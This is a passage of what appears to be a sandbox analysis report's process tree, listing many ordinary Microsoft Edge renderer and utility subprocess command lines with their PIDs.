    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=10908,i,3592528335556504668,9229453345370195157,524288 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=6216 /prefetch:14
    3⤵
    PID:1284
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --always-read-main-dll --metrics-shmem-handle=7684,i,12227799607936677550,6494324183888090238,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=5804 /prefetch:1
    3⤵
    PID:5040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --always-read-main-dll --metrics-shmem-handle=9848,i,590745325399905303,8050864465362962135,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11396 /prefetch:1
    3⤵
    PID:264
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --always-read-main-dll --metrics-shmem-handle=10092,i,18085206815353267826,10651976697950075955,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7632 /prefetch:1
    3⤵
    PID:7000
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --always-read-main-dll --metrics-shmem-handle=9424,i,2432521527605351393,3806566111751600665,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7244 /prefetch:1
    3⤵
    PID:5612
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --always-read-main-dll --metrics-shmem-handle=9520,i,3057380476711977140,1622896909980765736,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7172 /prefetch:1
    3⤵
    PID:3708
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --always-read-main-dll --metrics-shmem-handle=9444,i,9475791354446636467,14238977890552681070,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7224 /prefetch:1
    3⤵
    PID:6028
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --always-read-main-dll --metrics-shmem-handle=9560,i,2502251856342436090,1504226284569624559,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=3824 /prefetch:1
    3⤵
    PID:1492
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --always-read-main-dll --metrics-shmem-handle=9552,i,15373950226425566846,468848581886391232,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7228 /prefetch:1
    3⤵
    PID:6244
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --always-read-main-dll --metrics-shmem-handle=10048,i,16427185307315311929,8000774329314965285,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=4064 /prefetch:1
    3⤵
    PID:6740
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --always-read-main-dll --metrics-shmem-handle=9852,i,10098725176273787964,11473111749603295736,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=3808 /prefetch:1
    3⤵
    PID:6736
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --always-read-main-dll --metrics-shmem-handle=9548,i,12278568010330650401,13647814821941840511,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=4060 /prefetch:1
    3⤵
    PID:4252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --always-read-main-dll --metrics-shmem-handle=10436,i,1329215328967288799,13648203411629687052,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11436 /prefetch:1
    3⤵
    PID:2576
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --always-read-main-dll --metrics-shmem-handle=9296,i,12068915386455060915,6807525177620842196,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7184 /prefetch:1
    3⤵
    PID:3436
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --always-read-main-dll --metrics-shmem-handle=8564,i,6483738975100233707,3302416084796091360,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7144 /prefetch:1
    3⤵
    PID:3340
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --always-read-main-dll --metrics-shmem-handle=8936,i,1863200817997895333,13033504799121243733,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7180 /prefetch:1
    3⤵
    PID:6828
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --always-read-main-dll --metrics-shmem-handle=10152,i,17364329109217220902,17313637239948229267,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11416 /prefetch:1
    3⤵
    PID:4628
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=10904,i,11290933745976026318,3424368622698052555,524288 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=8180 /prefetch:14
    3⤵
    PID:3572
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --always-read-main-dll --metrics-shmem-handle=4356,i,1678669343491726481,13207667623102297586,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=8620 /prefetch:1
    3⤵
    PID:1956
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --always-read-main-dll --metrics-shmem-handle=5264,i,2419088359166566736,12435491641473562254,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=4552 /prefetch:1
    3⤵
    PID:7044
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --always-read-main-dll --metrics-shmem-handle=10260,i,14883420764104604542,933780198340798344,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11456 /prefetch:1
    3⤵
    PID:2904
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --always-read-main-dll --metrics-shmem-handle=8960,i,17539018457530554398,12959027400376767786,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=4776 /prefetch:1
    3⤵
    PID:4084
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --always-read-main-dll --metrics-shmem-handle=5196,i,835319475761173262,4700878760026638954,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=4756 /prefetch:1
    3⤵
    PID:6256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --always-read-main-dll --metrics-shmem-handle=4484,i,15243046566902353159,17509629593453233775,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=6224 /prefetch:1
    3⤵
    PID:3332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --always-read-main-dll --metrics-shmem-handle=5212,i,8826386929709563065,10415955795108643325,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7928 /prefetch:1
    3⤵
    PID:6808
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --always-read-main-dll --metrics-shmem-handle=4584,i,1238542218397034629,11856566251204128750,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7984 /prefetch:1
    3⤵
    PID:7100
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --always-read-main-dll --metrics-shmem-handle=10840,i,5234851707952270618,16786302173041640655,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7956 /prefetch:1
    3⤵
    PID:3644
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --always-read-main-dll --metrics-shmem-handle=10804,i,8967677902507270964,5930905613411373670,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7888 /prefetch:1
    3⤵
    PID:4444
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --always-read-main-dll --metrics-shmem-handle=10824,i,9153847411881893986,15689970915404332676,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7900 /prefetch:1
    3⤵
    PID:7160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --always-read-main-dll --metrics-shmem-handle=10892,i,5890183992294213991,18094278616160775245,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=6244 /prefetch:1
    3⤵
    PID:6192
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=10912,i,13907447896509993512,5860800678544902057,524288 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11372 /prefetch:14
    3⤵
    PID:3264
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --always-read-main-dll --metrics-shmem-handle=10920,i,3157423321085645376,13546420458831058811,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=8228 /prefetch:1
    3⤵
    PID:2472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --always-read-main-dll --metrics-shmem-handle=10880,i,2800956927159321198,3193497837730060122,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=8176 /prefetch:1
    3⤵
    PID:7128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --always-read-main-dll --metrics-shmem-handle=10944,i,1987370691878841909,2659709723425877705,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11720 /prefetch:1
    3⤵
    PID:4680
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --always-read-main-dll --metrics-shmem-handle=3504,i,7637042735322479295,12029510344351659406,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11732 /prefetch:1
    3⤵
    PID:6472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=72 --always-read-main-dll --metrics-shmem-handle=4504,i,8213667265949115937,2477325235597088968,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11344 /prefetch:1
    3⤵
    PID:6332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=74 --always-read-main-dll --metrics-shmem-handle=4676,i,13988325151406629764,3687729162608289214,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11876 /prefetch:1
    3⤵
    PID:692
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --always-read-main-dll --metrics-shmem-handle=3460,i,8532947045371450648,13992962376801121129,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11872 /prefetch:1
    3⤵
    PID:3300
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=75 --always-read-main-dll --metrics-shmem-handle=5656,i,16401930728428676243,4805365983353798140,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11880 /prefetch:1
    3⤵
    PID:4092
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --always-read-main-dll --metrics-shmem-handle=10928,i,1386487552082630218,17419741445554814767,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11708 /prefetch:1
    3⤵
    PID:1444
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=76 --always-read-main-dll --metrics-shmem-handle=4640,i,6552475864894858666,7160782165745739618,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11892 /prefetch:1
    3⤵
    PID:2416
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=78 --always-read-main-dll --metrics-shmem-handle=8872,i,344467110804022549,14402816623711195410,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12036 /prefetch:1
    3⤵
    PID:2916
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=79 --always-read-main-dll --metrics-shmem-handle=11008,i,111705818563507934,13669191502710032861,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11952 /prefetch:1
    3⤵
    PID:6752
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=77 --always-read-main-dll --metrics-shmem-handle=10988,i,6543702365763647332,4242082523228129384,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12040 /prefetch:1
    3⤵
    PID:5380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=80 --always-read-main-dll --metrics-shmem-handle=11052,i,17243694624662642674,16054524034391340146,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12052 /prefetch:1
    3⤵
    PID:1460
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=81 --always-read-main-dll --metrics-shmem-handle=11020,i,6847272938399774350,4322878697273844477,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12064 /prefetch:1
    3⤵
    PID:1404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=89 --always-read-main-dll --metrics-shmem-handle=7608,i,5967721608537701418,1493693944247465090,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12340 /prefetch:1
    3⤵
    PID:7136
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
